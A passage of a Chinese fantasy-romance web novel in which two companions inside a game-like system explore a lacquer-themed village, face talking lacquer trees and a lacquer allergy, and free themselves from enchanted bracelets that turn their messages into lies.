这可真是一点都不江砚,她还以为会说没事呢。
刚平稳了没一会儿,箱子忽然又猛地滑了一大截,失重感将林茉心脏又提了起来:还来?
但接下来箱子没有再动,上方传来摩擦之声,紧接着上方出现了一处缝隙。
林茉内心一动,“开了?”
江砚伸手去到缝隙处推了一下——纹丝未动。
...
凉意从缝隙渗透进来,拍打声又断断续续地响起,有人打开了箱子?
江砚用力一推,“轰——”盖子彻底滑落出去,几滴水落到林茉脸上。
终于可以坐起来了。
他们各自活动着僵硬又被磕得到处都痛的身体。
?
下雨??
他们的确在一个长长的箱子里,但四周不见一个人影,树木环绕,看起来是在一座上山,再往远处看可以看到一些村落房屋。
根本没有上百人在拍箱子,只是先前雨势又大又急,加上当时环境黑暗,才让人做出了那样的推断。
系统音终于姗姗来迟:
【欢迎来到“漆骸囍宴”】
【正在加载中...】
系统话音刚落,大雨骤然停止,世界瞬间安静,如同被无形之手按下静音键。
林茉和江砚从箱子里走了出来,林茉扶着箱子边缘敲打小腿,一边正在消化系统说的“七什么宴”,到底是哪几个字?
“姐姐,看!”江砚指着箱子,语气不太对劲。
“怎——”林茉突然捂住嘴,从箱子边跳开,江砚在一旁伸出手扶住了她。
刚刚他们所在之处根本不是什么箱子,而是,一、口、棺、材!
啊??
合葬??
林茉打量着这里,看起来是大雨冲开泥土,将棺材从山上冲了下来。
看着看着,林茉竟然被这口棺材吸引了。
这应该是一口特别用心、用钱打造的棺材,极其精美,整个棺材底色纯黑,不知所用工艺为何,黑得极其纯粹,让人想到黑洞。而且表面打磨得光可照人——是真的能照人,上面映着她和江砚的身影,甚至连一点拉伸变形都无。
明明只是正常的木头材质,能做到这种程度简直不可思议。
不仅如此,光亮如镜的黑底上散落镶嵌着很多细碎的珍珠贝壳,这是比背景黑色更加清冷的光泽,如同宇宙星辰。
显得整口棺材高贵神秘。
系统加载了好一会儿,才继续说到:
【当前匹配度96%】
【当前亲密度0】
二人的工乂谱罗盘面板自动调出,上方同时出现
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两个进度条:一条左端写着匹配度,蓝色进度条几乎已经满格;另一条代表亲密度,全部是灰色。
什么花里胡哨的。
“....”林茉刚要说话,却发现无法开口。
系统解释道:
【当前亲密度为0,无法使用语音功能,多发消息有助于提高亲密度,解锁语音通话等高级功能】
...
哈?
江砚却是脸色不错,好像觉得很好玩。
林茉的面板上出现一条消息。
【001:嘿嘿,有意思】
下方原本全灰色代表亲密的进度条立刻动了,多了一点点粉色。
江砚正饶有兴致地看着她,
林茉翻了个白眼,见他抬起手点上面前的半透明面板,看起来好像还要打字,干脆按住他的手。
江砚突然扯了扯林茉手臂,目光越过林茉在看什么,有点急切。
只见棺材内不知何时多了一层密密麻麻的符咒,黄色符纸上写着“喜结良缘”“七日脱单秘法”“三条原则快速识别灵魂伴侣”......
还有这种符啊。
在二人共同注视下,符咒突然燃烧起来,在棺材内壁上留下深黑色的灼烧痕迹,痕迹蜿蜒如蛇形,看起来像是有一只无形的手在画另一个符,但等到符咒全部烧完,显示的是文字:
百日漆生存挑战。
系统适时出现:
【新任务:百日漆生存挑战,已开启】
【请寻找相关线索,并根据线索寻找到三件特定器物,限时100小时】
于是两个进度条之下,又多了一个倒计时。
99:59:59
99:59:58
又来了。
林茉面前的操作面板闪了闪,三个图标下方出现一行字:
【姐姐救我】
江砚像是知道林茉不喜欢做任务,后面还跟了一个流泪的小狗表情。
【[可怜]】
林茉盯着那个流泪小狗,很不能理解为什么江砚会有这样一面。
【走吧,下山去看看】
随着他们互发消息,亲密度的进度条又增加了一点粉色。
不能说话也有好处,现在的江砚很像小孩子,不仅爱说话,而且说的话大部分又都没什么营养,却还非要得到回应才肯罢休。
禁言清净不少。
下山路途湿滑,他们走得很慢,江砚不能说话,耳边便只有两个人的脚步声,是的,只有脚步声,连风声、鸟鸣都没有,天又阴沉沉。
好像还不如江砚吵一吵。
走着走着,两个人的呼吸声明显起来,忍不住就会想到刚刚抱在一起时呼吸那么近的场景,进而想到被江砚抱在怀里的触感,以及后面棺材翻滚时和江砚紧紧相拥...
!
更不如江砚吵一吵。
越靠近村子,越感觉不太对,因为还是太安静了。
江砚拉住林茉手腕,示意她停一下。
有新消息,面板自动调出。
【姐姐有没有听到什么声音】
脚步声也消失了。
林茉先是感受到江砚握着自己手腕的力度,江砚轻轻的呼吸声,有其他声音吗?
林茉凝神细听。
忽然,她捕捉到了一个仿佛离他们尚有一段距离的声音,极微小、类似某种液体流淌的声音。
34. 漆咒合欢(大漆)
整个村子都泡在某种乳白色液体中,深度大概到脚踝位置。
这是什么?牛奶村?
很像牛奶,但仔细观察很容易发现这种液体比牛奶浓稠许多,其中夹杂着棕褐色纹路,很像是道路表面的淤泥、灰尘融于其中,正缓慢地朝一个方向流淌。
【这还能进去吗?】
江砚发来一条消息,表情有些嫌弃。
【我不想踩。】
他从旁边找来一根木棍,伸入液体中拨弄着,随着木棍搅动,一股淡淡的有些香甜的气息散发出来。
像是四五月时盛开的柚子花的香气。
可是,如果不想碰到这些液体,要如何进入村子呢?
正在思考时,江砚又发来一条消息。
【好香,会不会能吃啊?或者涂在衣服上做香料也不错】
林茉读完消息,正看到江砚蹲下来伸出一根手指想要去触碰。
她条件反射地伸手拦住。
【别碰!】
指尖堪堪停留在液面上方,江砚脸色有些诧异。
【怎么了?】
呃——
其实林茉也不清楚为何要制止住江砚,只是他心中有一种强烈的直觉:这个东西不能碰。
【说不定有毒呢,碰一下你就会变成猪头。】
江砚收回手,站直身体,嘴角弯弯。
【姐姐也会和我开玩笑了】
...
林茉没有理他,其实她不觉得自己在开玩笑。
【去四周看看有没有其他的路能进村子。】
周围的路都隐藏在荒草中,他们不仅行走缓慢,而且毫无新发现。
如果忽略这些液体,这里就是一座普通的小山村,民房如同芝麻粒随意散落,这些房屋的形状大小都很相似,只有在村子中间有座不太一样的房屋。
屋顶瓦片的质感更好,高挑的屋脊有雕像装饰,但距离太远看不出是什么雕像。
江砚觉得应该去这里看看。
【线索会不会在那里?】
林茉耸耸肩,神色如常。
【也许吧,但现在没法过去。】
很像游戏中还没打开的地图,或许线索并不在这里。
最终他们选择还是回到星空棺材处再仔细看看。
还没等他们到达棺材,就已经发现异样。
【你从这里看村子,是不是像什么形状】
林茉问。
江砚认真端详了一会儿,神色犹疑,好像是有点像什么,他想了许久,试探着回复了一个答案。
【像两只手?】
这里还没有高大的树木遮挡,从高处俯瞰村庄全貌,很像平放交叠的两只手掌。
【两只交叠的手掌】
【恭喜您】
系统忽然开口,吓了两人一跳。
与此同时,原来村庄内流淌着的白色液体中开始掺杂丝丝缕缕的红色。
系统继续:
【恭喜您触发关键线索:合欢血掌】
【线索对应您需要寻找的一件物品,请继续加油!】
...
想不到系统也随主人。
上一次开启社交节能模式,话少得可怜,现在是更换成为社交高能模式了吗?
原来线索并不在村子内部,而是要从高处才能看到。
他们继续向星空棺材前进,走着走又发现不对。
他们刚到此处时,雨水丰沛,草木茂盛,但现在莫名出现好几株枯树,其他树木也不如刚开始那样生机勃勃。
林茉和江砚简单交流了一下,确认这不是错觉。
就好像这些树木,被什么东西快速吸干了生命力一样,或者因为某种原因在快速衰老。
不仅如此,越向上走越奇怪,树上甚至开始出现很明显的条条黑色伤疤。
起初每棵树干上只有一条伤疤,但之后伤疤越来越多,等到他们到达星空棺材时,附近的树上整条树干,从上到下都是伤疤。
树木看起来也更加干枯。
找到星空棺材后,江砚发来一条消息。
【看来晚上我们只能睡在这里了】
【姐姐记得用多睡一小时,好好休息一下。】
……
这还是江砚吗?
树上伤口都是如同柳树叶一样,两头尖尖的长椭圆形,表面呈现凹凸不平漆黑的颜色。
每一个椭圆形的大小都很一致,很像是用什么东西批量割出来的。
一条一条触目惊心的黑色,像一双双凝视的眼睛。
为什么这里的树都有伤口呢,这和树的枯萎有关吗?
沉思间,林茉不自觉伸手轻轻触摸这些坚硬的黑色。
树干粗壮,茂密的树枝显示出它曾经的繁盛,但现在树枝上只缀着很少的叶子。黑色伤口的触感比树皮还要粗糙,就像大树结了痂。
“有人来了。”
林茉倏地收回手。
谁在说话?
“你需要多少?”
?
林茉和江砚对视,很显然他们都听到了声音,但这里除了他们并没有别人。
最终,他们的目光同时落在面前的粗壮树干上。
难以相信,但是在这个系统里也没有什么难以相信的。
树会说话。
“你需要多少?”
那个声音再次响起,这次他们能够确定,就是面前这棵树在说话。
什么需要多少。
忽然这些树开始从黑色伤口边缘流出白色液体,如同受伤出血的状态。
江砚迅速伸出手臂向后挡了林茉一下。
动作间,他的手指尖触碰到了白色液体,一颗圆圆的白色液珠凝结在手指尖,很像浓稠版的牛奶。
林茉赶快找了一片叶子帮他擦掉。
【没事吧?】
江砚将手指举到眼前,转圈看了看,然后又望向林茉,眼神清澈。
【好像没什么感觉】
林茉点头。
【有什么赶快说】
她现在心情不太好,就算待会儿江砚真的说自己哪里不舒服了,又能怎样呢?她也不知道该如何解决。
讨厌这种感觉,从很小的时候就开始讨厌了。
【检测到漆液采集,计量系统启动中】
进度条又增加了一个,名称叫做采集量。
那棵树也停止了询问。
所以这个白色的液体叫做“漆液”,这是一种油漆?
不知道进度条完成会发生什么,但这个进度条走得尤其慢,慢得刚开始他们都以为它没在动。
要么是需要的量特别多,要么是漆液流淌太慢。
林茉观察了一下,认为后者的可能性更大。
“你想要快一点吗?”漆树又说话了。
林茉看了看进度条,有了一点点点仔细看才能看出的进度,灰色进度条上出现了一点几乎难以分辨的黑色。
照这样下去,怕是一天一夜都不一
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定能完成。
她看了看江砚,有点犹豫。
【快一点吧?】
江砚发来消息。
林茉望着漆树,其实理智上她也同意应该快一点,但不知为何,就是感觉心底有一点阻碍。
就是这一点点小小的别扭,让她犹豫。
倒计时还在流失,要在这个不知所谓的环节用掉将近三分之一的时间吗?
江砚认真看着林茉,她在想什么呢?
打算枯燥等待?
等待是世界上最反人类的东西,迄今为止,人所做的一切努力都是在尽最大努力消除等待。
说等待有意义,那只是无法消除等待而不得不接受的自我合理化说辞罢了。
江砚很想直接回复那个声音,最快速度。
但是他内心也有一块固执和别扭,那是在说:先听听她的。
哼。
这是他摆脱不掉的那部分自己,那个优柔寡断,喜欢人家也不敢表现出来的自己。
如果可以,他想要彻底让那部分自己彻底消失,就像在大海里杀掉一枚气泡,让它彻彻底底毫无痕迹。
但是他目前还做不到,只能将它压缩压缩再压缩。
但就是这一小点,让他站在这里像个傻子一样,不知该如何选择。
烦死了。
【江砚】
林茉发来消息。
【我想赌一把】
【好啊】
【听你的】
她决定相信心底那个微弱但坚定的声音。
尽管脑子里还有另一个声音在不断催促和恐吓她赶快要一个结果。
他决定相信她。
【谢谢你】
江砚笑了笑。
【是我在麻烦姐姐】
......
但是等待真的不知是说说而已,他们又下山查看了村庄,在山上转了又转,除了倒计时走得飞快之外,可以说了没任何收获。
忙活了一大圈,时间过去了几个小时,代表采集量的进度条好像纹丝未动似的。
他们坐在棺材盖子上休息。
【来刷亲密度吧姐姐】
【反正闲着也是闲着,我们多发点消息提高亲密度】
不能让时间白费,不能只是等待。
【刷什么】
林茉回了三个字,但是神情有点懒懒的,好像对此兴趣不大。
“你想快一点吗?”那棵树又开口了。
...
没有人回答它。
“我们可以快一点。”那棵树又说。
林茉和江砚对视了一眼。
都是一样的东西,早点得到不是更好吗?
好像是。
但还是没有人回答它。
“如果太慢,你的那位小帅哥可就要遭罪了。”那棵树锲而不舍开口。
小帅哥?
江砚?
什么意思?
江砚没有理会,林茉站起来来到那棵树跟前,割痕边缘还在缓慢流淌白色液体,就像化脓不肯愈合的伤口。
【刚刚那句话是什么意思?】
看着看着,树皮的粗糙表面的凹凸纹路好像忽然幻化出了一张人脸。
林茉怀疑自己看了太久眼花了,她揉了揉眼。
人脸却好像更清晰了。
那是由很细的线条扭曲盘踞组成的一张比例很奇怪的人脸。
让人想到抽象画作,人的侧脸和正脸处在同一平面。
35. 漆咒合欢(大漆)
奇异人脸一横一竖两只眼睛盯着林茉,并不回答她的问题。
只是一味重复,“不快一点他就遭罪了哦。”
漆树人语速缓慢而扭曲,让人想到村庄里那些粘稠的、流动的液体,也正因此,言语中威胁意味更浓。
江砚迈开大步走来,一只手狠狠拍在树干上,也拍在漆树人脸上。
“啪”地一声,仿佛扇了它一个耳光。
林茉面板上出现一句话:
【整个系统都是我的,我倒要看看能把我怎么样。】
...
【恭喜您,亲密度达到10%】
粉色进度条上方出现了一颗小小的、形状圆润的爱心图案。
【已解锁限时语音功能,每日可使用语音通话3小时】
【请成为更亲密的人吧】
江砚眼皮一跳。
系统什么实话都往外说。
但林茉却并非他意想中的反应。
林茉反而瞪了江砚一眼,语气却是沉静,“你是不是脑子不好?”
......
江砚收回手,不自觉后退一步,低头看着自己沾了白色液体的手掌,一时没有反应过来林茉为何突然对他这种态度。
明明这样就不用犹豫了呀。
反正之前也已经蹭到,不差这一下。
林茉很是无语,甚至感觉自己在带孩子,这是什么中二少年行为,那个穿黑色雨滴风衣的江砚到底在哪里。
“唉——”她叹了一口气。
“过来擦手。”
在系统内不会有饥饿感,当初林茉抱着一袋零食被拉进来,除了最开始吃过一点之外,几乎放在那没有动过。
她都快遗忘了。
洁净清凉的水流冲刷过手指,江砚默不作声,背对着林茉默默洗手。
...
难道自己刚刚太凶了?
林茉向江砚迈出一步,“我——”
“别过来。”
林茉怔住,以为是自己刚刚第一次凶了他,江砚在发小孩子脾气。
“还是小心一点,不要让这些水溅到你。”
“哼——”旁边传来一声嗤笑。
漆树人强行挤进对话,“没用的,快一点才能减少痛苦。”
到底是什么意思。
林茉问:“能解毒?”
漆树人语气透露出跃跃欲试的兴奋:“快一点,快一点。”
系统里这些人的话往往不可信,但以往大多第一关系人是林茉自己,所以她常常反其道任性而为,阴差阳错也好、幸运也好,总之都算是有惊无险。
但这次事关江砚,她不想拿别人的安危冒险。
但是反过来看,他们绑定共生,会不会以往她的每次随心选择,在江砚看来也如同用一只手掌拍在毒液上一样幼稚而冲动呢?
可江砚从未表现过一点点的怀疑和不耐烦。
想到这里,林茉语气一下子软下来,和江砚商量:“要不听她的试试?”
江砚摇了摇头,且不说速度能不能解毒,他是千万个不愿意向这玩意屈服的,而且答案他一开始就已经坚定了。
“不要动摇你的直觉。”
不理漆树人后,时间又变得百无聊赖。
他们并肩坐在棺材盖子上,这里没有时间,没有阳光也没有月光,只有倒计时在匆匆前进。
江砚本想开口说话,但他忽然想起系统说过语音功能每天只有3小时,又不想随意使用了,从没有想过,说话也会变得珍贵。
就在这时,他开始察觉到手指、不、几乎在他意识到的一瞬间,一种又痒又痛的感觉迅速从手指蔓延至手臂。
他想叫林茉,但刚要开口便被更加强烈的痛痒感淹没。
与此同时,林茉望向远处的那双眼睛以一个斜斜的角度进入他的视线,平静、深邃,好像藏着许多宝藏的海底世界,又像是危险的漩涡。
林茉没有注意到他的动作,江砚也就放纵自己的沉溺,即使他用尽全力才能让自己不被难受支配,喊出声音。
痛苦又美好的感觉,很熟悉。
好像是过敏反应。
林茉眼睛望着远方,没有特定焦点时远方的景色就都变成了虚幻的影子,随着眨眼一跳一跳的。
“开始切割——”
惨白的灯光被模糊不清的意识切割成一个个刺眼的圆,填满了视野,不安地晃动。
一个小小的稚嫩的声音,但非常凄厉,像是在燃烧最后的生命力在呐喊,“不要——!”
林茉一个激灵,回过神来。
江砚感受到了她的动作,“怎么了?”
这是重要的话,可以说。
“我——”意识刚一触碰到回忆,便立刻被弹开。
忽然她余光瞥到一点亮光,带着阴险意味钻进视野。
“别动!”
林茉一把搂过江砚。
这一瞬间好像又回到了初次相遇,林茉也是帮助江砚躲过了攻击。
江砚的脸颊贴着林茉耳畔,他没有精力去想发生了什么,虚弱地喊了一声:“姐姐。”
这下林茉听出不对了,而且江砚脸颊很烫,不正常的温度。
“你怎么了?”
但她也分不出太多精力去关心江砚的状态,因为刚刚不知是想要攻击江砚还是干嘛的东西,还在周围。
仔细看那是一根线。
应该是几根细线缠在一块,组成一条粗线,表面有波纹形状的纹路,线条柔软灵活,可以勾画出各种形状。
看着看着,林茉忽然觉得有些眼熟。
这不是和树上人脸的线条一模一样?!
不过这条线弯弯曲曲懒懒散散的样子,好像没有在准备发动攻击。
“呵呵呵呵,果然中毒了。”
...
所以江砚中了漆毒,现在毒发了?
林茉终于想起了系统的重要作用之一,她点开江砚的操作罗盘,生命值稳定,并未减少。
应该暂时还没有危及生命,但江砚虚弱的状态、紧皱的眉头都在告诉林茉:他很痛苦。
“有什么办法吗?”林茉问那根人脸线。
线没有直接回答,而是如同一条蛇一样扭来扭曲,在地面上又盘踞出一张人脸,粗糙写意的眼睛看向林茉。
之后,在眼球位置,出现两枚黑得发亮的漆珠。
和棺材底色一样,是无法形容的,特别纯粹、特别亮的黑色。
林茉不耐烦地“啧”了一声,有就有,没有就没有,搞这些无聊花头多此一举。
“呵呵呵,你着急了。”人脸说。
这时,靠在她脖颈处的江砚难受地轻哼了
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一声。
林茉双手搭上他的后背,将他圈起来安抚地轻拍,“怎么了?哪里难受吗?”
江砚没有回答。
沉默让人心慌,林茉扶着江砚的身体,让他靠在棺材上,可是江砚却眨眼之间虚弱更多,仿佛没有一点力气,林茉一松手,就会向一旁歪倒过去。
没办法,林茉只能再次和他并排而坐,用身体支撑他的重量,好腾出双手检查一下。
这是突然怎么了?
江砚的脸红得很不正常。
林茉想摸摸额头看有没有发烧,但指腹刚刚接触到皮肤,便被江砚紧紧握住。
人都已经神智不清,眼睛紧紧闭着,甚至能感受到从他身体传来的一阵阵轻微颤抖,但握住她手的力气却出奇地大,怎样都挣脱不开。
于是只好由他握着。
江砚整只右手都是触目惊心的通红颜色,让人想到严重烫伤,林茉只是轻轻碰了一下,江砚就疼得忍不住哼了一声。
她小心检查江砚的手臂,也是一样触目惊心的红,她甚至不敢伸手去碰,很难想象江砚正在忍受什么样的痛苦。
该怎么办,这是漆毒吗?如何解毒?
林茉心中如有一团嗡嗡乱窜的蜂群,扰得她不知所措,大脑徒劳地疯狂运转,得不到任何答案。
恍惚中,她又回到了那个永远擦不干净招牌的梦。
无论多么努力、多么渴望也永远不可能擦干净的招牌。
想着想着,江砚握着她的手力道突然松了。
林茉看过去,江砚比之前更加无力虚弱,就像——
她不愿去想那种可能。
但是现实就是这样,狂喜时坠落、低谷时无力,以为已经不能再差,接下来都是上坡路,但命运一转弯,又是一脚踏空。
江砚就这样在她面前,一点一点、逐渐松开了她的手,连一句话、一个字都没法说。
林茉托举着那只好看的手,眼神无法聚焦,大脑空白。
良久,她才想到一个问题:遇见她,最后是她陪着,后悔吗?
后悔吧?
就这样莫名其妙的——
自己和他绑定了共生,那么说明,自己也要离开了?
她颤抖着去探江砚鼻息。
该轮到她了吗?也好,就不用做这些费力费神的事。
但内心却涌起巨大悲凉,很像海边渔村那永远见不到阳光的冰封之海。
真奇怪,应该不会眷恋人生才对。
...
好安静啊。
想说点遗言都没有人听。
“呵呵,后悔吗?”
是线条人脸的声音。
林茉第一反应是不后悔。
但是她看了一眼靠着自己的江砚,就像睡着了,浓密睫毛显得有些孩子气。
所以开口的瞬间还是犹豫了。
“要不要快一点?”线条人脸又问。
要吗?会有所改变吗?
但这次应该不会更坏了吧。
“我——”林茉开口,但哪怕已经决定要说、要试试,话到嘴边她又梗住了。
就是不想说。
林茉痛苦地坐在原地,为什么都到这时候了还是不愿意说。
--
突然,手上传来温柔的力道,一个熟悉的声音说:“别听它的。”
36. 漆咒合欢(大漆)
“别听他的。”江砚说。
声音虚弱却坚定,让林茉想起第一次在巷子里相遇时,还有那件好看的黑色大衣,银白雨滴滴答滴答。
林茉忽然一震,对上眼前两枚黑亮漆珠。
幻觉。
江砚的确是漆毒发作,但远远未到危及生命的程度。
“那刚刚——”林茉惊魂未定,一时间分不清到底哪个是真实,哪个是幻影。
“我刚刚突然看到你不太对,发生什么了?”
好看又深邃的眼睛少见地起了一点波澜
林茉轻轻回答,“好像一个噩梦——”
还是分不清到底哪边才是梦,所以声音带着些不确定的漂浮,如同黄昏海面上吹起的薄雾。
“没事了。”江砚说,轻轻拍了拍林茉后背。
“那你——”林茉迟疑地看着江砚,因为他的状态确实不太对,“你没事吧?”
江砚好像没有表情,但总觉得在温柔地笑,他举起有点泛红的手臂给林茉看,“过敏而已,只是很痒。”
“那就——”
林茉忽然停住,因为她后知后觉地意识到,这不是那个幼稚版江砚,而是她一直以来认识的那个江砚!
虽然不知道为什么,但是真正的江砚回来了。
江砚从林茉眼中看到欢喜和希望,晨光照亮海面,这双眼睛里映着他的身影,此刻也正在为他闪动。
但江砚的眼神却是渐渐低落下去,如同太阳从正午直接坠落,如同暗夜笼罩下的冰天雪地,满是伤痛、难以置信和失落。
“姐姐还是喜欢他啊。”声音如同即将被融化的一声叹息。
“我——”林茉没有料到这种变化。
她觉得自己的确是更加喜欢成熟版的江砚,但面对这个眼神,内心也强烈难过。
强烈到甚至她觉得这不太正常。
“不要快,要等。”地面上的线条人脸在说话。
嗯?
之前不是还一直催促他们要加速呢。
附近每棵漆树上都出现了线条勾勒出的人脸,他们一起重复,“不要快,要等。”
【恭喜您解锁成就:百里千刀十两漆】
【获得物品:速配漆盒】
地面上的线条人脸开始变化,线条重新组合缠绕,最后一个漂亮的盒子出现在他们面前。
江砚吸了吸鼻子,“姐姐,我现在手很痒,可能没法帮你。”
盒子不大,呈长方形,看起来与星空棺材异曲同工,只是星空棺材黑漆为底,这个小盒子则是朱漆,光泽温润如玉。
花纹用金银薄片与螺钿薄片装饰而成,四周镶嵌一圈双鸟衔枝叶纹,花枝两两重复,茉莉、荆棘、茉莉、荆棘...
这是专门为他们俩打造的盒子?
中央则是两个对坐的写意人形图案,一金一银,金中以银为饰,银中以金作缀,四周流云飘逸、花鸟和畅。
朱漆为底,比起黑漆又多了几分明媚的热烈,张扬大气。
“好漂亮的盒子。”林茉观察了一会儿才想要去打开。
手指触碰到盒盖,她停顿一下,转头看着江砚,“要打开了,怕不怕?”
江砚一边嘴角闪过散漫的笑,“姐姐在,我就什么都不怕。”
......
......
......
盒子只有一个扣,轻轻拨开即可。
没有飞虫、没有暗器、没有毒烟飘出,一切都很平静,但林茉却对着漆盒沉默发呆好久。
久到江砚有点心慌。
他本来还有点在气林茉更喜欢另外的自己,现在那一点点气完全被冲刷干净。
“姐姐?”他试探地叫了一声。
林茉缓缓转头,脸色奇怪,笑容勉强,“嗯。”
“怎么了?”江砚更加心慌,早知道还是自己去开盒子。
林茉脸上写着“一言难尽”四个大字,索性将盒子向中间一推,“你看吧。”
“什么东——”江砚也愣住。
......
......
“嘿嘿,”半晌江砚轻轻笑了,但听不出喜悦,“还有这东西。”
打开盒子,直接映入眼帘的,是一张结婚照。
没错,结婚照。
林茉和江砚的。
照片里,二人身着中式苏绣婚服,刺绣极其精致,就像将双面绣技法平铺开,二人衣服上图案轮廓形状一致,一个是茉莉和凤凰的组合,另一个是荆棘和朱雀的组合。
为什么系统里会出现这种东西?
两人亲密地靠在一块儿,笑容恬淡,看上去对生活很满足的模样。
深呼吸深呼吸深呼吸。
林茉平复平复再平复,终于能恢复正常交流,“怎么是被撕开的?”
没错,这张很美的结婚照不知为何被撕开了,从中间裂为两半,裂口极为不规整。
江砚轻轻拿起结婚照,露出下面一对镯子。
“还有一对镯子。”他对林茉说。
镯子图案简约些,螺钿装饰,一边茉莉纹一边荆棘纹,摆在此处,在结婚照映衬下,与婚戒有异曲同工之感。
林茉从盒中取出镯子,“这——”
刚说了一个字突然发现自己又被消音。
【您今日语音时长已用完】
【请继续多多交流,积攒亲密度吧!】
...
打断得可真是时候。
林茉默默叹气,一口气没叹完,忽然又被打断——镯子不知何时套在了自己手腕上!
与她手腕围度严丝合缝。
这也意味着一个显而易见的结果——摘不下来。
她去看江砚,也是一样的情况。
【恭喜您找到关键物品:谎漆镯】
【将它从手腕上摘下,即可获得此物品】
摘下。
这怎么摘?
没有开口、没有弹性、又收得这么紧。
转眼间倒计时已经走过将近一半,他们在第一件东西上就花了一半时间。
好吧,事已至此。
林茉给江砚发消息:【你有没有想到什么办法?】
发完之后她看着江砚等待回应。
但江砚却神色奇怪地看着她。
?
眨眼时,目光瞟到一行字,林茉顿时惊呆。
她凑近江砚身边又仔仔细细认认真真看了一遍,确认不是自己眼花,明明她是在发消息询问江砚,可到了那边显示的却是:
【你多大?做什么工作的?】
......
???
林茉莫名其妙,却还是又发了一遍。
打字时,她收到江砚消息回复。
【33岁,公司老板,姐姐觉得我合适吗?】
......
江砚也是一脸古怪。
他们来来回回测试了几次。
林茉:【挺好的】
【你长得也很好看】
江砚:【姐姐也好
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看】
【我平时工作忙,上次谈恋爱还是在读书的时候】
林茉:【我也很久了,不过那时候什么不懂,糊里糊涂的,回过头看我好像都不喜欢人家】
江砚:【我也是】
......
不能再说下去了,这都是什么驴唇不对马嘴的话?!
林茉忽然想到这对镯子的名字;谎漆镯。
原来是这样。
江砚拿起一根树枝,在地上写,林茉内心一动,或许这样可以。
于是她也捡起一根树枝。
只见江砚飘逸的几个大字:我喜欢你。
再看自己笔下的字:我喜欢你。
救!命!啊!!
林茉彻底无奈,人生从未像此时这样荒诞无语过。
算了,先不讲话了。
林茉再次深吸平复心情,然后指了指江砚过敏的手臂,流露出询问的神情。
江砚看到后摇了摇头。
虽然没有说话,但林茉却十分确认江砚的意思:没事,不要担心。
江砚指了指自己的镯子,抬起手臂,在附近坚硬的石头上一敲。
咚。
碰撞声有点沉闷。
林茉有点可惜,这是往坏了弄啊,这个镯子除开奇怪的部分,但看外表是很美的。
江砚敲了几下,镯子主体完好无损,只是表面漆层有所脱落。
镯子像是木质的。
所以江砚掏出匕首。
是初见时的那把匕首,没想到他居然一直随身携带,在这一点新江砚与旧江砚倒是十分一致。
林茉有点心痛地看着江砚无情地在镯子上割来割去,既心疼镯子又担心江砚会割到手。
镯子表面朱漆又脱落更多,但木质底胎却完好无损,只有几条浅淡的印子。
火烧??
既然是木头,应该怕火吧。
江砚召唤出麒麟崽,希望它能喷火。
林茉按住江砚,摇了摇头,就算小麒麟的火真能将镯子烧毁,但按照这小崽的莽撞个性,怕是会先让他们自己着火。
而且,烧毁了还能算完成任务?
江砚也冷静下来,低头盯着被自己一通破坏却依旧坚固的镯子,陷入思考。
林茉同款思考。
同款毫无头绪。
算了,能做的都做了。
林茉让自己放松下来,向后靠在棺材壁上,心静下来后,这样安静坐着也很好,四周的漆树人脸不知何时消散去,好像世界一片和平。
其实每一趟见识到的东西都很出乎意料,精致苏绣、创意十足的花灯、婉转南音...
不仅仅是这些东西,她还借此看到了许多人的悲欢。
不知为何,她最近总是想起与这一切的初次接触,那时她还把自己当作一滩烂泥,在想如何不配合、如何逃避。
她改变系统,系统也在悄悄影响她,连她自己都是后知后觉才意识到,已经对此不会反感了。
鼻尖传来雪松香。
江砚也放松地靠了下来,看着灰蓝色的天空发呆,眼睛缓慢有节奏地一眨一眨。
倒计时在走向危险。
无法开口说话,文字成为谎言。
但连接却并未因此断开,江砚望着天空,甚至觉得比起以往任何一刻,此时此刻他与林茉的交流都更深沉、更真诚。
感谢能遇到你。
不后悔那天的开口。
忽然,他们同时感觉到手上镯子收缩了一下。
37. 漆咒合欢(大漆)
收缩,松开
收缩,松开
收缩,松开
一下一下像是心跳,又像是某件事情即将发生的预告。
好事?坏事?
其实比起确定的坏事,未知的等待更容易让人紧张。
林茉不自觉看了看江砚,对方坐得端正安稳。
他们手腕上同步出现一丝白光,茉莉与荆棘如同幼苗抽枝发芽一般逐渐向上生长,越来越明亮,越来越壮大。
苍穹在上,当茉莉与荆棘交织缠绕在一起,白光豁然壮大,林茉和江砚同时感觉到手腕一松。
漆镯自动脱落。
一新一旧两枚手镯静静躺在地面上。
这是特效吗?
太壮观了,这是从前那个躺在出租屋里的林茉无论如何也不会想到的场面。
【恭喜您】
【获得物品:谎漆镯】
林茉张了张嘴,发现自己依旧无法开口,于是她尝试再次使用系统沟通。
【好了吗?】
果然,镯子脱落,系统不会再胡乱篡改他们的对话。
想到之前系统篡改的对话内容,林茉突然有点不好意思。
姐姐觉得我合适吗?
我喜欢你。
啊——停。
于是她紧跟着又发了一条消息,没话找话。
【还剩下最后一件了。】
会是什么呢?
说实话,他们找到线索并获得前两件物品,偶然性大于合理性,以至于根本无法总结出一套方法,虽然有获得线索,但功效等同于没有。
其实从进入系统以来,一直都是如此。
苏绣、花灯、南音...
从前只是林茉依照内心直觉行动、意外破局,而这次江砚也加入了她。
在这之前难以想象江砚是会按照心情或直觉行动的人,应该是理性大于感性才对,或者只有理性。
难道是因为这次是幼稚版江砚吗?
他们安静坐了一会儿,默契对视,目光中写着相同的疑问:
接下来做点啥?
……
不知道。
毫无头绪。
没有新的线索,漆树人脸也消失,突然间有种目标完成后的茫茫无所依。
……
【整理一下吧】
林茉拿起地面上的两枚镯子,打算把它们装进漆盒。
嗯?
他拍了拍江砚手臂。
恰好是过敏的那一边。
江砚轻轻“嘶”了一声,凑过去查看。
漆盒底部不知何时出现了两枚交叠的血色掌印。
交叠、掌印……
这不是和村庄的形状很像吗?
林茉指了指山下,江砚立刻领会,点了点头。
应该是一样的手掌印。
这枚掌印很特别,并不只是单纯的两枚掌纹盖印而成。
丝丝缕缕,好像一个个小扇子编织组合而成,每一把小扇子都由浅淡的粉白色过渡到清透的水红色。
很是好看,又很特别。
把它用在布料或者装饰上都很合适。
这个系统里真的有很多美妙的巧思。
这多出来的漂亮掌纹会不会就是新的线索?
林茉伸出手,虚盖在掌纹上,露出另一半的掌纹。
他看了看江砚示意他也试试看。
双手交叠。
不知是自己太过敏感还是确有其事,她总觉得幼稚版江砚好像变得话少了,也失去了一些当初说“想要就要得到”的意气风发。
……
万物安静。
好像什么都没有发生。
……
一阵风吹过,像是在烘托他们的滑稽。
那这个掌印是干嘛的?
算了。
移开时轻轻擦碰到江砚手掌。
其实这很正常,没有必要留意到,也没有必要在意。
很正常。
林茉拿起两枚漆镯,装进漆盒中。
